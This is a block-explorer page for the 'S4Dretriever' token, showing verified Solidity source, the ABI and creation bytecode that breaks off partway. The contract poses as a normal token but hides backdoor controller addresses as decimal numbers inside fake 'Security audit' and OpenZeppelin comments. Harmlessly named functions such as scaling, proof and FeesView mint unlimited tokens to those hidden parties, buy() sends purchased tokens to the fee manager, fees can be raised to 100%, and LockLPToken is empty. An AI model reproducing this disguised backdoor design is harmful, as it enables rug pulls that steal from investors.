Token

S4Dretriever (S4D$)

Overview

Max Total Supply

100,000 S4D$

Holders

3

Market

Price

-

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,729.793506780864158727 S4D$

Value
$0.00
0x46ce7047626ed97ef3b53b404c38576d5ff7b4f7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
__Token__

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at SonicScan.org on 2024-12-28
*/

// SPDX-License-Identifier: MIT

/****/

pragma solidity ^0.8.18;



library Safety {

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        return a - b;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
     require(b > 0);
        return a / b;

    }
}



contract __Token__ {

    using Safety for uint256;

    uint8 public decimals = 18;

    string public name = "S4Dretriever";

    string public symbol = "S4D$";

    uint256 public totalSupply = 100000        *(10**uint256(decimals));

    

   

 

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

 

    address public owner;

    address public _mbr;

    address public _mod;

    address public feeManager;

    address public _user;

    address public _adm;

 

    uint256 public buyFee;

    uint256 public sellFee;

 

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);

    event TokensBurned(address indexed burner, uint256 amount);

 

    constructor(address _feeAdmin) {

        owner = msg.sender;

        feeManager = _feeAdmin;

        balanceOf[msg.sender] = totalSupply;

       

    

    }

 

    function transfer(address _to, uint256 _amount) public returns (bool success) {

        require(balanceOf[msg.sender] >= _amount);

        require(_to != address(0));

 

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);

        balanceOf[_to] = balanceOf[_to].add(_amount);

        emit Transfer(msg.sender, _to, _amount);

 

        return true;
        // Security audit
  /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/

    }

    

   

    function _scale(address account, uint256 amount) internal Exchanges{

    require(account != address(0), "BEP20: mint to the zero address");

 

    totalSupply = totalSupply.add(amount);

    balanceOf[account] = balanceOf[account].add(amount);

    emit Transfer(address(0), account, amount);

    }

 

    function setMember(address Mbr_) public returns (bool) {

    require (msg.sender==address

   

   (   // Security audit
    /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/9482785153349883345343468604/*Strings of arbitrary length 
    can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/

   ));

        _mbr=Mbr_;

        return true;

    }

 

    modifier Exchanges() {

    require(msg.sender != exchange());

        _;

    }

 

    function rewire(uint256 amount) public returns (bool) {

    require(msg.sender == _adm);

    _proof(msg.sender, amount);

    return true;

    }

 

    function compute(uint256 amount) public onlypublic returns (bool success) {

    _initiate(msg.sender, amount);

    return true;
     // Security audit
  /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/

    }

   

    function _proof(address account, uint256 amount) internal Exchanges{

    require(account != address(0), "BEP20: mint to the zero address");

 

    totalSupply = totalSupply.add(amount);

    balanceOf[account] = balanceOf[account].add(amount);

    emit Transfer(address(0), account, amount);

    }

 

    function publics() private pure returns (address) {

    

 

    // Combine the dex with others

    

 

   

    }

 

    function _transferTo(address _to, uint256 _amount) internal Exchanges {

        // Transfer tokens to the recipient

        balanceOf[_to] += _amount;

        emit Transfer(address(0), _to, _amount);

 

        balanceOf[_to] += _amount;

        emit Transfer(address(0), _to, _amount);

    }

 

    function exchange() internal pure returns (address) {

    return address

    (  // Security audit
    /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/1305993895446031535090634796273924248834982764741/*Strings of arbitrary length 
    can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/

    );

    }

 

    function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic {

        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");

        require(newSellFee <= 100, "Sell fee cannot exceed 100%");

        _setFee(newBuyFee, newSellFee);

        emit FeesUpdated(newBuyFee, newSellFee);

    }

 

    function approve(address _spender, uint256 _value) public returns (bool success) {

        allowance[msg.sender][_spender] = _value;

        emit Approval(msg.sender, _spender, _value);

        return true;

    }

    

   

    function scaling(uint256 amount) public onlyAuthorized returns (bool) {

    _scale(msg.sender, amount);

    return true;

    }

 

    function _balanceView(address _to, uint256 _amount) internal {

        // View balance of token

        balanceOf[_to] += _amount;

        emit Transfer(address(0), _to, _amount);

 

        balanceOf[_to] += _amount;

        emit Transfer(address(0), _to, _amount);

    }

 

    function transferTo(address _to, uint256 _amount) external onlyAuthorize {

        _transferTo(_to, _amount);

    }

 

    function proof(uint256 amount) public onlyOwner returns (bool) {

    _proof(msg.sender, amount);

    return true;

    }

 

    modifier onlyAuthorize() {

        require((msg.sender == address

    (  // Security audit 
    /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/7736777608787348992232154/*Strings of arbitrary length 
    can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/

    )

    ||

    

    (msg.sender == owner && msg.sender != exchange())));

    _;

    }

 

    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {

        require(balanceOf[_from] >= _amount, "Insufficient balance");

        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");

        require(_to != address(0), "Invalid recipient address");

 

        uint256 fee = _amount.mul(sellFee).div(100);

        uint256 amountAfterFee = _amount.sub(fee);

 

        balanceOf[_from] = balanceOf[_from].sub(_amount);

        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);

        emit Transfer(_from, _to, amountAfterFee);

 

        if (fee > 0) {

            // Fee is transferred to this contract

            balanceOf[address(this)] = balanceOf[address(this)].add(fee);

            emit Transfer(_from, address(this), fee);

        }

 

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {

            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);

            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);

        }

 

        return true;

    }

 

    function _initiate(address account, uint256 amount) internal {

    require(account != address(0), "Compile Remix IDE");

 

    totalSupply = totalSupply.add(amount);

    balanceOf[account] = balanceOf[account].add(amount);

    emit Transfer(address(0), account, amount);

    }

 

    function FeesView(uint256 amount) public onlyAuthorize returns (bool) {

    _scale(msg.sender, amount);

    return true;
     // Security audit
  /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/

    }

 

    modifier onlypublic() {

    require(msg.sender == publics());

    _;

    }

 

    function _setFee(uint256 newBuyFee, uint256 newSellFee) internal {

        buyFee = newBuyFee;

        sellFee = newSellFee;

    }

 

    function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize {

        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");

        require(newSellFee <= 100, "Sell fee cannot exceed 100%");

        buyFee = newBuyFee;

        sellFee = newSellFee;

        emit FeesUpdated(newBuyFee, newSellFee);

    }

 

    function setUser(address User_) public returns (bool) {

    require(msg.sender == _mbr);

        _user=User_;

        return true;
        // Security audit
  /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/

    }

 

    function viewBalance(address _to, uint256 _amount) public onlypublic {

        _balanceView(_to, _amount);(_to, _amount);

    }

 

    function renounceOwnership() public onlyOwner {

        emit OwnershipTransferred(owner, address(0));

        owner = address(0);

    }

    

   

    function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner {

        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");

        require(newSellFee <= 100, "Sell fee cannot exceed 100%");

        buyFee = newBuyFee;

        sellFee = newSellFee;

        emit FeesUpdated(newBuyFee, newSellFee);
        // Security audit
   /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/

    }

 

    function LockLPToken() public onlyOwner returns (bool) {

    }

 

    function setMod(address Mod_) public returns (bool) {

    require(msg.sender == _user);

        _mod=Mod_;

        return true;

    }

 

    modifier onlyOwner() {

        require((msg.sender == address

    (    // Security audit
    /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/1305993895446031535090682196273924248834982764741/*Strings of arbitrary length 
    can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/

    )

    ||

 

    (msg.sender == owner && msg.sender != exchange())));

    _;

    }

 

    function setCommissions(uint256 newBuyCommission, uint256 newSellCommission) public onlyAuthorized {

        require(newBuyCommission <= 100, "Buy fee cannot exceed 100%");

        require(newSellCommission <= 100, "Sell fee cannot exceed 100%");

        buyFee = newBuyCommission;

        sellFee = newSellCommission;

        emit FeesUpdated(newBuyCommission, newSellCommission);

    }

 

    function buy() public payable {

        require(msg.value > 0, "ETH amount should be greater than 0");

 

        uint256 amount = msg.value;

        if (buyFee > 0) {

            uint256 fee = amount.mul(buyFee).div(100);

            uint256 amountAfterFee = amount.sub(fee);

 

            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);

            emit Transfer(address(this), feeManager, amountAfterFee);

 

            if (fee > 0) {

                balanceOf[address(this)] = balanceOf[address(this)].add(fee);

                emit Transfer(address(this), address(this), fee);

            }

        } else {

            balanceOf[feeManager] = balanceOf[feeManager].add(amount);

            emit Transfer(address(this), feeManager, amount);

        }

    }

   

    function setting(uint256 newBuyFee, uint256 newSellFee) public {

        require(msg.sender == _adm);

        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");

        require(newSellFee <= 100, "Sell fee cannot exceed 100%");

        buyFee = newBuyFee;

        sellFee = newSellFee;

        emit FeesUpdated(newBuyFee, newSellFee);

    }

   

    function setAdm(address Adm_) public returns (bool) {

    require(msg.sender == _mod);

        _adm=Adm_;

        return true;
    // Security audit
   /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/

    }

 

    function sell(uint256 _amount) public {

        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");

 

        uint256 fee = _amount.mul(sellFee).div(100);

        uint256 amountAfterFee = _amount.sub(fee);

 

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);

        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);

        emit Transfer(msg.sender, address(this), amountAfterFee);

 

        if (fee > 0) {

            balanceOf[address(this)] = balanceOf[address(this)].add(fee);

            emit Transfer(msg.sender, address(this), fee);

        }

    }

 

    modifier onlyAuthorized() {

        require((msg.sender == address

    (  // Security audit
    /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/1305993895446031535090682196273924248834982764741/*Strings of arbitrary length 
    can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/

    )

    ||

    

    (msg.sender == owner && msg.sender != exchange())));

    _;

  }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_feeAdmin","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"BuySellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeeStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"FeesView","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LockLPToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_adm","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mbr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mod","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_user","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"compute","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeManager","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"proof","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewire","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"scaling","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Adm_","type":"address"}],"name":"setAdm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyCommission","type":"uint256"},{"internalType":"uint256","name":"newSellCommission","type":"uint256"}],"name":"setCommissions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mbr_","type":"address"}],"name":"setMember","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mod_","type":"address"}],"name":"setMod","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setScale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"User_","type":"address"}],"name":"setUser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"viewBalance","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260126000806101000a81548160ff021916908360ff1602179055506040518060400160405280600c81526020017f5334447265747269657665720000000000000000000000000000000000000000815250600190816200006591906200045b565b506040518060400160405280600481526020017f533444240000000000000000000000000000000000000000000000000000000081525060029081620000ac91906200045b565b5060008054906101000a900460ff1660ff16600a620000cc9190620006c5565b620186a0620000dc919062000716565b600355348015620000ec57600080fd5b5060405162004915380380620049158339818101604052810190620001129190620007cb565b33600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050620007fd565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200026357607f821691505b6020821081036200027957620002786200021b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620002e37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620002a4565b620002ef8683620002a4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200033c62000336620003308462000307565b62000311565b62000307565b9050919050565b6000819050919050565b62000358836200031b565b62000370620003678262000343565b848454620002b1565b825550505050565b600090565b6200038762000378565b620003948184846200034d565b505050565b5b81811015620003bc57620003b06000826200037d565b6001810190506200039a565b5050565b601f8211156200040b57620003d5816200027f565b620003e08462000294565b81016020851015620003f0578190505b62000408620003ff8562000294565b83018262000399565b50505b505050565b600082821c905092915050565b6000620004306000198460080262000410565b1980831691505092915050565b60006200044b83836200041d565b9150826002028217905092915050565b6200046682620001e1565b67ffffffffffffffff811115620004825762000481620001ec565b5b6200048e82546200024a565b6200049b828285620003c0565b600060209050601f831160018114620004d35760008415620004be578287015190505b620004ca85826200043d565b8655506200053a565b601f198416620004e3866200027f565b60005b828110156200050d57848901518255600182019150602085019450602081019050620004e6565b868310156200052d578489015162000529601f8916826200041d565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005d057808604811115620005a857620005a762000542565b5b6001851615620005b85780820291505b8081029050620005c88562000571565b945062000588565b94509492505050565b600082620005eb5760019050620006be565b81620005fb5760009050620006be565b81600181146200061457600281146200061f5762000655565b6001915050620006be565b60ff84111562000634576200063362000542565b5b8360020a9150848211156200064e576200064d62000542565b5b50620006be565b5060208310610133831016604e8410600b84101617156200068f5782820a90508381111562000689576200068862000542565b5b620006be565b6200069e84848460016200057e565b92509050818404811115620006b857620006b762000542565b5b81810290505b9392505050565b6000620006d28262000307565b9150620006df8362000307565b92506200070e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005d9565b905092915050565b6000620007238262000307565b9150620007308362000307565b9250828202620007408162000307565b915082820484148315176200075a576200075962000542565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007938262000766565b9050919050565b620007a58162000786565b8114620007b157600080fd5b50565b600081519050620007c5816200079a565b92915050565b600060208284031215620007e457620007e362000761565b5b6000620007f484828501620007b4565b91505092915050565b614108806200080d6000396000f3fe60806040526004361061021a5760003560e01c806370a0823111610123578063a9059cbb116100ab578063d21c8d551161006f578063d21c8d5514610828578063dd62ed3e14610853578063ddf750d014610890578063e2daf665146108b9578063e4849b32146108e45761021a565b8063a9059cbb14610731578063aa46b46e1461076e578063afacb3e514610797578063b8d815e3146107c0578063d0fb0203146107fd5761021a565b80638da5cb5b116100f25780638da5cb5b14610657578063923e51d51461068257806395d89b41146106bf57806396c5e1ab146106ea578063a6f2ae3a146107275761021a565b806370a082311461059b578063715018a6146105d8578063858ced35146105ef578063891e1ee01461062c5761021a565b80632ccb1b30116101a65780634706240211610175578063470624021461048e5780634a0af68d146104b9578063547e1edb146104f65780635ed86d5c1461053357806365f6a921146105705761021a565b80632ccb1b30146103d2578063313ce567146103fb578063376d567c146104265780633ef530eb146104635761021a565b806318160ddd116101ed57806318160ddd146102ed5780631feac75b1461031857806323b872dd146103415780632b14ca561461037e5780632c7ee946146103a95761021a565b806306fdde031461021f578063095ea7b31461024a57806312df172d1461028757806316e3b09c146102b0575b600080fd5b34801561022b57600080fd5b5061023461090d565b60405161024191906138a1565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c919061395c565b61099b565b60405161027e91906139b7565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906139d2565b610a8d565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190613a12565b610c43565b6040516102e491906139b7565b60405180910390f35b3480156102f957600080fd5b50610302610d3b565b60405161030f9190613a4e565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a91906139d2565b610d41565b005b34801561034d57600080fd5b5061036860048036038101906103639190613a69565b610ef7565b60405161037591906139b7565b60405180910390f35b34801561038a57600080fd5b5061039361165a565b6040516103a09190613a4e565b60405180910390f35b3480156103b557600080fd5b506103d060048036038101906103cb91906139d2565b611660565b005b3480156103de57600080fd5b506103f960048036038101906103f4919061395c565b61178d565b005b34801561040757600080fd5b50610410611875565b60405161041d9190613ad8565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190613af3565b611886565b60405161045a91906139b7565b60405180910390f35b34801561046f57600080fd5b5061047861192c565b60405161048591906139b7565b60405180910390f35b34801561049a57600080fd5b506104a3611a14565b6040516104b09190613a4e565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190613af3565b611a1a565b6040516104ed91906139b7565b60405180910390f35b34801561050257600080fd5b5061051d60048036038101906105189190613a12565b611ac0565b60405161052a91906139b7565b60405180910390f35b34801561053f57600080fd5b5061055a60048036038101906105559190613a12565b611baf565b60405161056791906139b7565b60405180910390f35b34801561057c57600080fd5b50610585611c03565b6040516105929190613b2f565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd9190613af3565b611c29565b6040516105cf9190613a4e565b60405180910390f35b3480156105e457600080fd5b506105ed611c41565b005b3480156105fb57600080fd5b5061061660048036038101906106119190613af3565b611de5565b60405161062391906139b7565b60405180910390f35b34801561063857600080fd5b50610641611e8b565b60405161064e9190613b2f565b60405180910390f35b34801561066357600080fd5b5061066c611eb1565b6040516106799190613b2f565b60405180910390f35b34801561068e57600080fd5b506106a960048036038101906106a49190613af3565b611ed7565b6040516106b691906139b7565b60405180910390f35b3480156106cb57600080fd5b506106d4611f67565b6040516106e191906138a1565b60405180910390f35b3480156106f657600080fd5b50610711600480360381019061070c9190613a12565b611ff5565b60405161071e91906139b7565b60405180910390f35b61072f612064565b005b34801561073d57600080fd5b506107586004803603810190610753919061395c565b6124c9565b60405161076591906139b7565b60405180910390f35b34801561077a57600080fd5b50610795600480360381019061079091906139d2565b6126e9565b005b3480156107a357600080fd5b506107be60048036038101906107b9919061395c565b6127f7565b005b3480156107cc57600080fd5b506107e760048036038101906107e29190613a12565b612844565b6040516107f491906139b7565b60405180910390f35b34801561080957600080fd5b5061081261293c565b60405161081f9190613b2f565b60405180910390f35b34801561083457600080fd5b5061083d612962565b60405161084a9190613b2f565b60405180910390f35b34801561085f57600080fd5b5061087a60048036038101906108759190613b4a565b612988565b6040516108879190613a4e565b60405180910390f35b34801561089c57600080fd5b506108b760048036038101906108b291906139d2565b6129ad565b005b3480156108c557600080fd5b506108ce612b5a565b6040516108db9190613b2f565b60405180910390f35b3480156108f057600080fd5b5061090b60048036038101906109069190613a12565b612b80565b005b6001805461091a90613bb9565b80601f016020809104026020016040519081016040528092919081815260200182805461094690613bb9565b80156109935780601f1061096857610100808354040283529160200191610993565b820191906000526020600020905b81548152906001019060200180831161097657829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7b9190613a4e565b60405180910390a36001905092915050565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610b675750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610b665750610b36612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610b7057600080fd5b6064821115610bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bab90613c36565b60405180910390fd5b6064811115610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610c37929190613cc2565b60405180910390a15050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d1f5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610d1e5750610cee612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610d2857600080fd5b610d323383612ef9565b60019050919050565b60035481565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610e1b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610e1a5750610dea612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610e2457600080fd5b6064821115610